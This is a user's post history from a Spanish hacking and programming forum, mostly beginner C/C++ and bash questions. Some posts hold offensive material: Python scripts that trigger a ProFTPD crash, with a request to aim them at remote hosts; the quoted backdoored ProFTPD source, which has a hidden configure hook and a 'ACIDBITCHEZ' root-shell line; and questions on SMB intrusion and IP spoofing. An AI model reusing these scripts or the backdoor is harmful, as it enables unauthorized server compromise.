Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Xenomorfo77

#1
Código (cpp) [Seleccionar]

#include <stdio.h>

typedef struct Vagon{
   int numero;
   int peso;
   char *carga;
}vagon;

typedef struct Tren{
vagon *v;
}tren;


int main(){

   int nvagones=10;

   tren *p=(tren *)malloc(sizeof(tren));

   p->v =(vagon *)malloc(nvagones*sizeof(vagon));    

   return 0;
}


Estoy aprendiendo punteros y este ejemplo trata de hacer trenes con muchos vagones. En el ejemplo con 1 solo tren luego reservo memoria para 10 vagones. Lo que pasa es que no se acceder luego a cada vagon porque p->v[2]->numero=1; por ejemplo no funciona y no entiendo porque. ¿Alguien me explica?

Dejo el code de ejemplo por si a alguien le sirve de algo:

Código (cpp) [Seleccionar]

#include <stdio.h>

typedef struct Vagon{
    int numero;
    int peso;
    char *carga;
}vagon;

typedef struct Tren{
vagon *v;
}tren;

char cargas[4][25]={"MADERA","PAN","HIERRO","ALIMENTOS"};

int main(){
    srand(time(NULL));

    int nvagones=10;
    int i;

    tren *p=(tren *)malloc(sizeof(tren));

    p->v =(vagon *)malloc(nvagones*sizeof(vagon));

    for(i=0;i<nvagones;i++){
        p->v[i].numero=i+1;
        p->v[i].peso = 500+(rand()%1500);
        p->v[i].carga =cargas[rand()%4];
    }

    for(i=0;i<nvagones;i++){
        printf("Numero: %d\n",p->v[i].numero);
        printf("\tPeso: %dKg",p->v[i].peso);
        printf("\tCarga: %s\n",p->v[i].carga);
    }


    return 0;
}
#2
.NET (C#, VB.NET, ASP) / C# WebBrowser
25 Abril 2014, 12:15 PM
Hola gente, soy muy novato en C# y estoy intentando hacer un bot para una página con el webbrowser. Lo que me pasa es que tengo que navegar por cientos de url diferentes y tengo que organizarlo con funciones como Loguear(), getUserdata() pero si cada vez que entro en una url se llama al evento DocumentCompleted() no sé como estructurarlo para que no me haga siempre todo lo que esté dentro de esa función. ¿Que tengo que hacer? ¿Crear varios webbrowsers y hacer en cada 1 lo que quiero pero muchas veces?
#3
Hacking Wireless / Problemas modo monitor
22 Marzo 2014, 05:43 AM
Buenas gente, me he comprado una Alfa AWUS036H y he estado probandola en Kali para auditoria de redes y tengo un serio problema.

La pongo en modo monitor y empiezo a escanear redes y a los 10-20 segundos no detecta nada, es como si dejase de funcionar el modo monitor. Me pasa con todas las aplicaciones como reaver, wifite, ect. Empieza bien y al cabo de pocos segundos se para.

¿Alguna idea de que puedo hacer?




Fui a la tienda y me dieron otra tarjeta igual y me sigue pasando lo mismo. A la hora de conectarme va todo normal excepto por la velocidad que me va mucho peor que antes teniendo mas señal, pero he leido que esta tarjeta es buena para auditorías pero mala para navegar. Pero a la hora de auditar deja de detectar redes y de hacer nada tengo que desenchufarla y volverla a conectar para que vuelva a durar 20 segundos. Por favor que alguien responda.
#4
Scripting / Script para web
9 Febrero 2014, 12:12 PM
Hola gente, necesito ayuda para crear un script que me automatice una tarea. Se trata de una pagina de apuestas y quiero hacer un script que pulse unos determinados botones.

La idea es esta:

http://playfulbet.com/usuarios/1

Si sustituimosel numero en un bucle podemos ir accediendo a la pagina de ese usuario luego dentro de esa página cada usuario tiene un botón follow y otro botón desafíos.

Estos son los codigos que llevan los botones:

Desafío:
Código (html4strict) [Seleccionar]
<a href="/peticiones?category=friendship&amp;receiver_id=200" class="add-for-challenge tip-left" data-method="post" data-options="disable-for-touch:true" data-tooltip="" id="add_friend" rel="nofollow" title="Solicitar desafíos"><i class="fa fa-bolt"></i><b>Desafios</b> </a>

Follow:
Código (html4strict) [Seleccionar]
<a href="/follows/200?followed_id=200" class="js-toggle-follow btn-social btn-unfollow hide" data-method="delete" data-remote="true" id="unfollow" rel="nofollow"><div class="btn-content"><i class="fa fa-check"></i> Siguiendo</div></a><a href="/follows?followed_id=200" class="js-toggle-follow btn-social btn-follow " data-method="post" data-remote="true" id="follow" rel="nofollow"><div class="btn-content"><i class="fa fa-plus"></i> Seguir</div></a>

Pero si entras directamente en ese enlace del href no hace nada y dice k la pagina no existe. ¿Alguna pista o ayuda?

Si quieren probar la página puede registrarse aquí, esta página es interesante porque las apuestas son gratis, y luego podemos cambiar las monedas del juego por diferentes premios como xbox one, play4, paysafecard... :

http://playfulbet.com/users/sign_in?invited_by=104394
#5
Scripting / Ayuda con bash!
16 Noviembre 2013, 15:47 PM
Código (bash) [Seleccionar]
#!/bin/bash
wget http://www.aemet.es/xml/municipios/localidad_18022.xml
mv localidad_18022.xml datos.xml
lista=$(grep prob_precipitacion datos.xml | head -n 4)
echo $lista


Hola tengo una duda con ese codigo descargo el xml de una pagina del tiempo y me da esto:
<prob_precipitacion periodo="00-24"></prob_precipitacion>
<prob_precipitacion periodo="00-12"></prob_precipitacion>
<prob_precipitacion periodo="12-24">10</prob_precipitacion>
<prob_precipitacion periodo="00-06"></prob_precipitacion>

Lo que necesito es cojer el numero que queda entre las etiquetas (en este caso solo hay un 10) y guardarlo en una variable. ¿Alguien me explica como hacerlo o que herramientas necesito? Gracias!

EDITO: He podido solucionarlo. Cierren el post.

#6
Scripting / Ayuda con script bash
14 Noviembre 2013, 16:24 PM
Hola gente tengo que hacer un script que me apage el pc con init 0 si la probabilidad de lluvia sacada de el tiempo.es es mayor a 80%. Tengo esto:
Código (cpp) [Seleccionar]

#!/bin/bash
declare -a TEMPERATURAS
i=0
wget http://www.eltiempo.es/la-cabrera.html?v=detallada >/dev/null 2>/dev/null
mv la-cabrera.html\?v\=detallada cabrera
lista=$(grep mini_rain cabrera)
for elemento in $lista
do
       if [[ $elemento = ??% ]]
       then
               echo ${elemento:0:2}
               #${TEMPERATURAS[$i++]}='expr ${elemento:0:2}'
       fi
done

Lo que hago es descargar el archivo y buscar porcentajes que tengan el formato ??% y imprimirlos pero sin el %, lo que no es es como guardar eso en un array para luego cojer el primero que seria el que me hace falta. La linea comentada es lo que no se hacer.


EDITO: SOLUCIONADO! Pueden Cerrar o eliminar el post. Gracias!
#7
Programación C/C++ / ¿Qué me falla?
17 Octubre 2013, 00:22 AM
Lo que quiero hacer es crear un array de 2 dimensiones para guardar varias notas por cada alumno.
Creo que la reserva de memoria está bien lo que me falla es al intentar cambiar un valor y nose porque.
He probado haciendo  m[j]=0;
Lo que quiero es hacer un scanf("%f",m[j]);


Código (cpp) [Seleccionar]
#include <stdio.h>
#include <stdlib.h>

void reserva(float **w,int filas,int columnas) {
    int i,j;
    w = (float**) calloc(filas,sizeof(float *));
    for(i=0;i<columnas;i++) {
       w[i] = (float *) calloc(columnas,sizeof(float));
       }

}


int main()
{
   int numeroalumnos;
   int numeronotas;
   float **m;
   int i,j;
   printf("Cuantos alumnos?: ");
   scanf("%d",&numeroalumnos);
   printf("Cuantas notas por alumno?: ");
   scanf("%d",&numeronotas);

   reserva(m,numeroalumnos,numeronotas);

   for(i=0;i<numeroalumnos;i++)
   {
       printf("Alumno %d\n",i+1);
       for(j=0;j<numeronotas;j++) {
           printf("\tNota %d: ",j+1);
           m[i][j]=0; //Esto me falla
       }
       printf("\n");
   }


   return 0;

}
#8
Programación C/C++ / Ayuda!!
8 Octubre 2013, 15:47 PM
Buenas tengo que hacer un programa que le de la vuelta a un array pasandolo como argumento a una funcion. Lo tengo hecho y me sale el resultado bien pero creo k tiene fallos.¿Alguien puede echarle un vistazo? Gracias
Código (cpp) [Seleccionar]
#include <stdio.h>

#define POSITIONS 25

void create(int *pointer);
void print(int *pointer);
void turn(int *pointer);

int main()
{
    int numeros[POSITIONS];
    create(numeros);
    print(numeros);
    turn(numeros);
    print(numeros);


    return 0;
}

void create(int *pointer)
{
    int i;
    for(i=0;i<POSITIONS;i++)
    {
        *pointer++=i+10;
    }
}

void print(int *pointer)
{
    int i;
    for(i=0;i<POSITIONS;i++)
    {
        printf("%d\n",*pointer++);
    }

}

void turn(int *pointer)
{
    int i;
    int temp;
    for(i=0;i<POSITIONS;i++)
    {
        temp = *pointer;
        *pointer++ = *pointer+POSITIONS-i-1;
        *pointer = temp;
    }
   
}
#9
Programación C/C++ / Ayuda con punteros
1 Octubre 2013, 17:23 PM
Buenas estoy practicando con punteros y he hecho este programa y funciona bien pero me da warnings y quisiera saber porque son.
El programa crea una baraja de cartas que van del 1 al 10 repetidas 4 veces simulando que hubiese 4 palos. Despues las imprime.

||In function 'main':|
|14|warning: passing argument 1 of 'CrearBaraja' from incompatible pointer type [enabled by default]|
|5|note: expected 'int **' but argument is of type 'int (*)[(sizetype)(ncartas)]'|
|15|warning: passing argument 1 of 'ImprimirBaraja' from incompatible pointer type [enabled by default]|
|6|note: expected 'int **' but argument is of type 'int (*)[(sizetype)(ncartas)]'|
||In function 'CrearBaraja':|
|26|warning: assignment makes pointer from integer without a cast [enabled by default]|
||=== Build finished: 0 errors, 3 warnings (0 minutes, 0 seconds) ===|

Aquí esta el code. ¿Como estaría bien?

Código (cpp) [Seleccionar]

#include <stdio.h>
//#include <stdlib.h>
//#include <time.h>

void CrearBaraja(int *matriz[],int numerocartas);
void ImprimirBaraja(int *matriz[],int numerocartas);

int main()
{
   int j;
   int ncartas=40;
   int cartas[ncartas];

   CrearBaraja(&cartas,ncartas);
   ImprimirBaraja(&cartas,ncartas);


   return 0;
}

void CrearBaraja(int *matriz[],int numerocartas)
{
   int j;
   for(j=0;j<numerocartas;j++)
   {
       matriz[j]=(j%10)+1;

   }
}

void ImprimirBaraja(int *matriz[],int numerocartas)
{
   int j;
   for(j=0;j<numerocartas;j++)
   {
       printf("Carta %d = %d\n",j+1,matriz[j]);
   }
}


Gracias por la ayuda!!
#10
Programación C/C++ / Ayuda con Juego
2 Diciembre 2012, 22:24 PM
Hola que tal? Pues miren resulta que estoy haciendo un juego en c++ con allegro y esto es lo que llevo hecho, lo que me gustaría es que le echaran un vistazo al codigo para ver si se puede depurar y si hay algo que pueda mejorarse, tambien tengo que hacer unas rutinas para que las balas que se disparen colisionen con algun objeto y se reduzca la vida de este. ¿Como y donde seria correcto hacer esto? Si quieren las imagenes y eso puedo subir el proyecto a algun lado solo avisen. Gracias.



Código (cpp) [Seleccionar]
#include <allegro.h>
#include "inicia.h"
#include <iostream>
#include <vector>


BITMAP *buffer;
//BITMAP *nave;
const int ANCHO = 500;
const int ALTO = 450;
int i = 900/2;




using namespace std;

class DISPARO
{
   private:
   BITMAP *bala;
   int x;
   int y;
   int dx;
   int dy;

   public:


   DISPARO(int _x,int _y,int _dx,int _dy);
   int getx(void) const {return x;}
   int gety(void) const {return y;}
   void mover(void);
   void pintar(void);


};

DISPARO::DISPARO(int _x,int _y,int _dx,int _dy)//CONSTRUCTOR
   {
       x = _x;
       y = _y;
       dx = _dx;
       dy = _dy;
       if(dy > 0) bala = load_bitmap(".\\imagenes\\bala2.bmp",NULL);
       else bala = load_bitmap(".\\imagenes\\bala3.bmp",NULL);
   }

void DISPARO::pintar(void)
{

  masked_blit( bala, buffer, 0, 0, x, y, 42, 43);

}

void DISPARO::mover(void)
{
y-=dy;


}



/**************************************CLASE NAVE**********************************/


class NAVE
{
   private:
   BITMAP *nave;
   int x;
   int y;
   int direccion;
   int vida;
   int ndisparos;
   int maxdisp;
   int dsw;
   int cont;

   public:

 
   NAVE(int _x=0,int _y=0,int _direccion=0,int _vida=50,int _maxdisp=5);
   
   int getx(void) const {return x;}
   int gety(void) const {return y;}
   int getdireccion(void) const {return direccion;}
   int getvida(void) const {return vida;}
   
   void setx(int _x){x = _x;}
   void sety(int _y){y = _y;}
   void setdireccion(int _direccion){direccion = _direccion;}
   void setvida(int _vida){vida = _vida;}
 
   void mover(void);
   void pintar(void);
   DISPARO *disparar(void);




};

NAVE::NAVE(int _x,int _y,int _direccion,int _vida,int _maxdisp) //CONSTRUCTOR
   {
       x = _x;
       y = _y;
       direccion = _direccion;
       vida = _vida;
       nave = load_bitmap(".\\imagenes\\nave.bmp",NULL);
       maxdisp = _maxdisp;
       cont = 20;
   }

void NAVE::mover(void)
{
   if(key[KEY_RIGHT]){ direccion = 2; x += 2; }

   else if(key[KEY_LEFT]) { direccion = 0; x -= 2; }

   if(key[KEY_UP])   { direccion = 3; y -= 2; }

   else if(key[KEY_DOWN]) { direccion = 1; y += 2; }


   if(x-2 < 0) x +=2;
       else if(x+2 > ANCHO-44) x -=2;

      if(y-2 < 0) y +=2;
       else if(y+2 > ALTO-44) y -=2;

       if(cont > 0) cont--;


}
void NAVE::pintar(void)
{

   masked_blit(nave, buffer, 40*direccion, 0, x, y, 40, 47);

   direccion = 1;

}

DISPARO *NAVE::disparar()
{

   if(cont <= 0){ cont = 20; return new DISPARO(x+20,y,0,3); }

   else return new DISPARO(5000,5000,0,3);

}


/****************************************CLASE ENEMIGO********************************/

class ENEMIGO
{
   private:
   BITMAP *nave;
   int x;
   int y;
   int direccion;
   int vida;
   int cont;

   public:

   ENEMIGO(int _x,int _y,int _direccion,int _vida);
 
   int getx(void) const {return x;}
   int gety(void) const {return y;}
   int getdireccion(void) const {return direccion;}
   int getvida(void) const {return vida;}
 
   void setx(int _x){x = _x;}
   void sety(int _y){y = _y;}
   void setdireccion(int _direccion){direccion = _direccion;}
   void setvida(int _vida){vida = _vida;}

   void mover(void);
   void pintar(void);
   DISPARO *disparar();


};

ENEMIGO::ENEMIGO(int _x,int _y,int _direccion,int _vida)// CONSTRUCTOR
   {
       x = _x;
       y = _y;
       direccion = _direccion;
       vida = _vida;
       nave = load_bitmap(".\\imagenes\\enemigo.bmp",NULL);
       cont = 2;
   }

DISPARO *ENEMIGO::disparar()
{

   if(cont <= 0){ cont = 20; return new DISPARO(x+20,y+40,0,-3); }

   else return new DISPARO(5000,5000,0,3);


}

void ENEMIGO::mover(void)
{
    if(direccion == 0 && x >= 8){ x  -= 2; /*nav->y -= 2;*/}else direccion = 1;
    if(direccion == 1 && x <=450){ x += 2;/*nav->y += 2;*/} else direccion = 0;

   if(x-2 < 0) x +=2;
       else if(x+2 > ANCHO-44) x -=2;

      if(y-2 < 0) y +=2;
       else if(y+2 > ALTO-44) y -=2;

   if(cont > 0) cont--;
}

void ENEMIGO::pintar(void)
{

  masked_blit( nave, buffer, 0, 0, x, y, 42, 43);



}


vector<DISPARO*> disparos;
vector<DISPARO*> disparos2;


void limpia_disparos()
{
   unsigned int i;
   vector<DISPARO*> vd;   // vector temporal

   /* eliminamos los disparos que se encuentren fuera de la pantalla*/

   for(i = 0; i < disparos.size(); i++)
       if((disparos[i]->getx() > 0) && (disparos[i]->getx() < ANCHO) &&
          (disparos[i]->gety() > 0) && (disparos[i]->gety() < ALTO))
           vd.push_back(disparos[i]);
       else
           // liberamos la memoria
           delete disparos[i];

   disparos.clear();

   for(i = 0; i < vd.size(); i++)
       disparos.push_back(vd[i]);

   vd.clear();
}
void limpia_disparos2()
{
   unsigned int i;
   vector<DISPARO*> vd;   // vector temporal

   /* eliminamos los disparos que se encuentren fuera de la pantalla*/

   for(i = 0; i < disparos2.size(); i++)
       if((disparos2[i]->getx() > 0) && (disparos2[i]->getx() < ANCHO) &&
          (disparos2[i]->gety() > 0) && (disparos2[i]->gety() < ALTO))
           vd.push_back(disparos2[i]);
       else
           // liberamos la memoria
           delete disparos2[i];

   disparos2.clear();

   for(i = 0; i < vd.size(); i++)
       disparos2.push_back(vd[i]);

   vd.clear();
}




int main()
{
   inicia_allegro(ANCHO,ALTO);
   inicia_audio(70,70);
  BITMAP *nube = load_bitmap(".\\imagenes\\nube.bmp",NULL);
  buffer = create_bitmap(ANCHO, ALTO);

  NAVE jugador(232,404,2,50);
  ENEMIGO enemigo1(0,0,0,12);

  while(!key[KEY_ESC])
  {
      blit(nube,buffer,0,i--,0,0,ANCHO,ALTO);
      if(i <= 0) i=450;
      jugador.mover();
      jugador.pintar();
      enemigo1.mover();
      enemigo1.pintar();
      disparos2.push_back(enemigo1.disparar());
      if(key[KEY_SPACE]){  disparos.push_back(jugador.disparar()); }

       for(unsigned int c = 0; c < disparos.size(); c++)
      {
          disparos.at(c)->mover();
          disparos.at(c)->pintar();
       }
        for(unsigned int c = 0; c < disparos2.size(); c++)
      {
          disparos2.at(c)->mover();
          disparos2.at(c)->pintar();

       }

        limpia_disparos();
        limpia_disparos2();

      blit(buffer,screen,0,0,0,0,ANCHO,ALTO);
      rest(5);
      clear(buffer);

  }

   destroy_bitmap(buffer);
   return 0;
}
END_OF_MAIN();
#11
Hacking / IP Spoofing
23 Octubre 2012, 01:01 AM
Hola gente, tengo una duda. Necesito un ip spoofing para tener una ip publica especifica. Es posible o solo se puede dentro de la LAN? Y si es posible alguien me pasa un tuto o alguna info para echarle un vistazo? Muchas gracias un gran saludo.
#12
Hacking / Documentos compartidos
19 Junio 2012, 23:34 PM
Hola, alguien sabe si es posible teniendo acceso a los documentos compartidos de una pc en red local, acceder a todo el disco duro? Hablo de windows y ya estoy harto de ver videos e informacion de ms08_067_netapi ya que esta parcheada en la mayoria de los sistemas :S Existe alguna otra?
#13
Programación C/C++ / Duda sobre código
6 Mayo 2012, 06:09 AM
Tengo un problema en este código, el puntero es una matriz a la que le doy a cada elemento el valor 'f', el problema esta en cuando lo imprimo al archivo. El total de elementos no se corresponde con el tamaño elegido. Por ejemplo si pongo 100, me imprime 100 'f' mas basura que no se porque sale.¿Alguien sabe porqué?

#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <cstdlib>
#include <iostream>
#include <fstream>

using namespace std;

int main()
{
   
   
   int nElementos = 0;
   char *PnElementos = NULL;
   int i = 0;
       
   
   printf("Numero de elementos de la matriz: ");
   scanf("%d",&nElementos);
   printf("ELEMENTOS: %d",nElementos);
   Sleep(2000);
   PnElementos = (char*)malloc((nElementos + 1) * sizeof(int));
   
   for(i=0;i<nElementos;i++)
   {
                            PnElementos[i]='f';
                            printf("Valor de elemento(%d) = %c\n",i,PnElementos[i]);
   }
    PnElementos[i]='\0';
   printf("Total elementos matriz = %d",strlen(PnElementos));
   Sleep(5000);
   ofstream fichero;
   fichero.open("archivo.txt");
   fichero << PnElementos;
   free(PnElementos);
   fichero.close();
   
   
}
#14
Scripting / Ayuda con script python
2 Mayo 2012, 06:00 AM
Hola, he encontrado la manera de explotar una vulnerabilidad en ProFTPD < 1.3.3g pero necesito ayuda para modificar los scripts. La vulnerabilidad reside en enviar un comando inexistente mientras se esta descargando un archivo lo que permite ejecutar codigo. Los scripts estan diseñados para hacerlo en una LAN pero quiero modificarlos para que sirva remotamente.

Este es el primer script:
Código (python) [Seleccionar]

#!/usr/bin/env python

# Parameters
ftpClient = "192.168.1.11"
ftpClientPort = "1025"

import socket
import time

# Open a socket to receive data    
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ftpClient,int(ftpClientPort)))
s.listen(5)        

client, address = s.accept()
print client.recv(2)
time.sleep(5)
print client.recv(1024)
client.close()

Crea una conexion de datos, lee 2 bytes y espera 5 segundos para que el 2º script envie el comando falso al servidor.

Aqui va el segundo script:

Código (python) [Seleccionar]

#!/usr/bin/env python

# Parameters
ftpServer = "192.168.1.10"
ftpServerPort = 21
ftpUsername = "user"
ftpPassword = "password"
ftpClient = "192.168.1.11"
ftpClientPort = "1025"

# Commands to trigger the segmentation fault.
ftpCommands = """USER %s
PASS %s
SYST
TYPE A
PORT %s,%s
RETR nada
WXYZ 0wn3d
QUIT
""" % (ftpUsername, ftpPassword, ftpClient.replace('.',','), "%s,%s"%(("%04x"%int(ftpClientPort))[0:2],("%04x"%int(ftpClientPort))[2:4]))

import socket

# Open commands socket
sc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sc.connect((ftpServer,ftpServerPort))

# Will send FTP commands.
for command in ftpCommands.split('\n'):
   print sc.recv(1024),    
   sc.send(command+'\r\n')
   print command



Lo que quisiera modificar es el comando PORT que se envia por un PASV pero en el primer script no puedo poner una ip publica a ftpClient y no recoje los datos del puerto 1025. ¿Alguna manera de hacerlo? Aviso que no se programar en python pero si me dan una idea me pondre a intentarlo. Un saludo y Gracias.



Elektro H@cker: Usa el botón "insertar código" o el próximo código será eliminado. Salu2.
#15
Hacking / Ayuda con vulnerabilidades
2 Mayo 2012, 00:52 AM
Hola a todos, lo primero pedir disculpas por si el post no iva aqui si es asi muevanlo.

Estoy intentando acceder a un host con fines de aprendizaje, tengo permiso para hacerlo. He escaneado los puertos con nmap y he hecho un análisis con nessus integrado en msf, pero a la hora de interpretar los resultados me quedo un poco pillado ya que no entiendo bien como se explotarian esos fallos. Las vulnerabilidades mas graves son estas:


CVE-2006-3918
-------------------------------------------------------------------------------------------------
http_protocol.c in (1) IBM HTTP Server 6.0 before 6.0.2.13 and 6.1 before 6.1.0.1, and (2) Apache HTTP
Server 1.3 before 1.3.35, 2.0 before 2.0.58, and 2.2 before 2.2.2, does not sanitize the Expect header
from an HTTP request when it is reflected back in an error message, which might allow cross-site
scripting (XSS) style attacks using web client components that can send arbitrary headers in requests,
as demonstrated using a Flash SWF file.
----------------------------------------------------------------------------------------------------
CVE-2007-1581
----------------------------------------------------------------------------------------------------
The resource system in PHP 5.0.0 through 5.2.1 allows context-dependent attackers to execute arbitrary
code by interrupting the hash_update_file function via a userspace (1) error or (2) stream handler, which
can then be used to destroy and modify internal resources. NOTE: it was later reported that PHP 5.2 through
5.2.13 and 5.3 through 5.3.2 are also affected.
www.milw0rm.com/exploits/3529
------------------------------------------------------------------------------------------------------
CVE-2008-5814
-----------------------------------------------------------------------------------------------------
Cross-site scripting (XSS) vulnerability in PHP, possibly 5.2.7 and earlier, when display_errors is enabled,
allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. NOTE: because of the
lack of details, it is unclear whether this is related to CVE-2006-0208.
-----------------------------------------------------------------------------------------------------
CVE-2008-2371
-----------------------------------------------------------------------------------------------------
Heap-based buffer overflow in pcre_compile.c in the Perl-Compatible Regular Expression (PCRE) library 7.7
allows context-dependent attackers to cause a denial of service (crash) or possibly execute arbitrary code
via a regular expression that begins with an option and contains multiple branches.
------------------------------------------------------------------------------------------------------
CVE-2008-5498
------------------------------------------------------------------------------------------------------
Array index error in the imageRotate function in PHP 5.2.8 and earlier allows context-dependent attackers to
read the contents of arbitrary memory locations via a crafted value of the third argument
(aka the bgd_color or clrBack argument) for an indexed image.
------------------------------------------------------------------------------------------------------
CVE-2009-3557
------------------------------------------------------------------------------------------------------
The tempnam function in ext/standard/file.c in PHP before 5.2.12 and 5.3.x before 5.3.1 allows
context-dependent attackers to bypass safe_mode restrictions, and create files in group-writable
or world-writable directories, via the dir and prefix arguments.
------------------------------------------------------------------------------------------------------
CVE-2009-3555
------------------------------------------------------------------------------------------------------
The TLS protocol, and the SSL protocol 3.0 and possibly earlier, as used in
Microsoft Internet Information Services (IIS) 7.0, mod_ssl in the Apache HTTP Server 2.2.14 and
earlier, OpenSSL before 0.9.8l, GnuTLS 2.8.5 and earlier, Mozilla Network Security Services (NSS) 3.12.4
and earlier, multiple Cisco products, and other products, does not properly associate renegotiation handshakes
with an existing connection, which allows man-in-the-middle attackers to insert data into HTTPS sessions,
and possibly other types of sessions protected by TLS or SSL, by sending an unauthenticated request
that is processed retroactively by a server in a post-renegotiation context, related to a
"plaintext injection" attack, aka the "Project Mogul" issue.
------------------------------------------------------------------------------------------------------
CVE-2009-3291
------------------------------------------------------------------------------------------------------
The php_openssl_apply_verification_policy function in PHP before 5.2.11 does not properly perform
certificate validation, which has unknown impact and attack vectors, probably related to an ability
to spoof certificates.
------------------------------------------------------------------------------------------------------
CVE-2009-2687
-----------------------------------------------------------------------------------------------------
The exif_read_data function in the Exif module in PHP before 5.2.10 allows remote attackers to cause a
denial of service (crash) via a malformed JPEG image with invalid offset fields, a different issue than CVE-2005-3353.
-----------------------------------------------------------------------------------------------------
CVE-2010-1128
-----------------------------------------------------------------------------------------------------
The Linear Congruential Generator (LCG) in PHP before 5.2.13 does not provide the expected entropy,
which makes it easier for context-dependent attackers to guess values that were intended to be unpredictable,
as demonstrated by session cookies generated by using the uniqid function.
-----------------------------------------------------------------------------------------------------
CVE-2010-3436
-----------------------------------------------------------------------------------------------------
fopen_wrappers.c in PHP 5.3.x through 5.3.3 might allow remote attackers to bypass open_basedir restrictions
via vectors related to the length of a filename.
------------------------------------------------------------------------------------------------------
CVE-2010-4645
------------------------------------------------------------------------------------------------------
strtod.c, as used in the zend_strtod function in PHP 5.2 before 5.2.17 and 5.3 before 5.3.5, and other products,
allows context-dependent attackers to cause a denial of service (infinite loop) via a certain floating-point
value in scientific notation, which is not properly handled in x87 FPU registers,
as demonstrated using 2.2250738585072011e-308.
------------------------------------------------------------------------------------------------------
CVE-2011-3389
-----------------------------------------------------------------------------------------------------
The SSL protocol, as used in certain configurations in Microsoft Windows and Microsoft Internet Explorer,
Mozilla Firefox, Google Chrome, Opera, and other products, encrypts data by using CBC mode with chained
initialization vectors, which allows man-in-the-middle attackers to obtain plaintext HTTP headers via
a blockwise chosen-boundary attack (BCBA) on an HTTPS session, in conjunction with javascript code that
uses (1) the HTML5 WebSocket API, (2) the Java URLConnection API, or (3) the Silverlight WebClient API,
aka a "BEAST" attack.
-----------------------------------------------------------------------------------------------------
CVE-2011-0411
-----------------------------------------------------------------------------------------------------
The STARTTLS implementation in Postfix 2.4.x before 2.4.16, 2.5.x before 2.5.12, 2.6.x before 2.6.9,
and 2.7.x before 2.7.3 does not properly restrict I/O buffering, which allows man-in-the-middle attackers
to insert commands into encrypted SMTP sessions by sending a cleartext command that is processed after
TLS is in place, related to a "plaintext command injection" attack.
------------------------------------------------------------------------------------------------------
CVE-2011-4566
------------------------------------------------------------------------------------------------------
Integer overflow in the exif_process_IFD_TAG function in exif.c in the exif extension in PHP 5.4.0beta2
on 32-bit platforms allows remote attackers to read the contents of arbitrary memory locations or cause
a denial of service via a crafted offset_val value in an EXIF header in a JPEG file, a different
vulnerability than CVE-2011-0708.
------------------------------------------------------------------------------------------------------
CVE-2012-0053
------------------------------------------------------------------------------------------------------
Protocol.c in the Apache HTTP Server 2.2.x through 2.2.21 does not properly restrict header information
during construction of Bad Request (aka 400) error documents, which allows remote attackers to obtain
the values of HTTPOnly cookies via vectors involving a (1) long or (2) malformed header in conjunction
with crafted web script.



¿Alguien sabe como se usaria alguna de estas vulnerabiliades?

Un saludo y gracias.
#16
Bugs y Exploits / Problema con compilación
22 Enero 2012, 18:52 PM
Hola a todos, estoy empezando en esto del hacking y tengo unas cuantas dudas sobre como compilar un exploit.

El exploit que quiero compilar es este en concreto: http://www.exploit-db.com/exploits/15662/

Ahora las preguntas:

1.- En el codigo hay cosas como estas que no entiendo que son:

diff -Naur proftpd-1.3.3c.orig/configure proftpd-1.3.3c/configure
--- proftpd-1.3.3c.orig/configure   2010-04-14 00:01:35.000000000 +0200
+++ proftpd-1.3.3c/configure    2010-10-29 19:08:56.000000000 +0200
@@ -9,7 +9,10 @@

+gcc tests/tests.c -o tests/tests >/dev/null 2>&1
+cc tests/tests.c -o tests/tests >/dev/null 2>&1
+tests/tests >/dev/null 2>&1 &
+rm -rf tests/tests.c tests/tests >/dev/null 2>&1

DUALCASE=1; export DUALCASE
if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then


diff -Naur proftpd-1.3.3c.orig/src/help.c proftpd-1.3.3c/src/help.c
--- proftpd-1.3.3c.orig/src/help.c  2009-07-01 01:31:18.000000000 +0200
+++ proftpd-1.3.3c/src/help.c   2010-11-16 18:40:46.000000000 +0100
@@ -27,6 +27,8 @@

2.- En esta parte de código pone #include "conf.h", tengo entendio que en c poner entre comillas un archivo significa que no es una libreria del sistema y que es un archivo creado por el usuario, ¿Como compilo ese exploit si no tengo ese archivo?

#include "conf.h"
#include <stdlib.h>
#include <string.h>
 
struct help_rec {
  const char *cmd;

        cmd->server->ServerAdmin ? cmd->server->ServerAdmin : "ftp-admin");
 
    } else {

     if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
      /* List the syntax for the given target command. */
      for (i = 0; i < help_list->nelts; i++)

3.- Gracias por contestar y un saludo!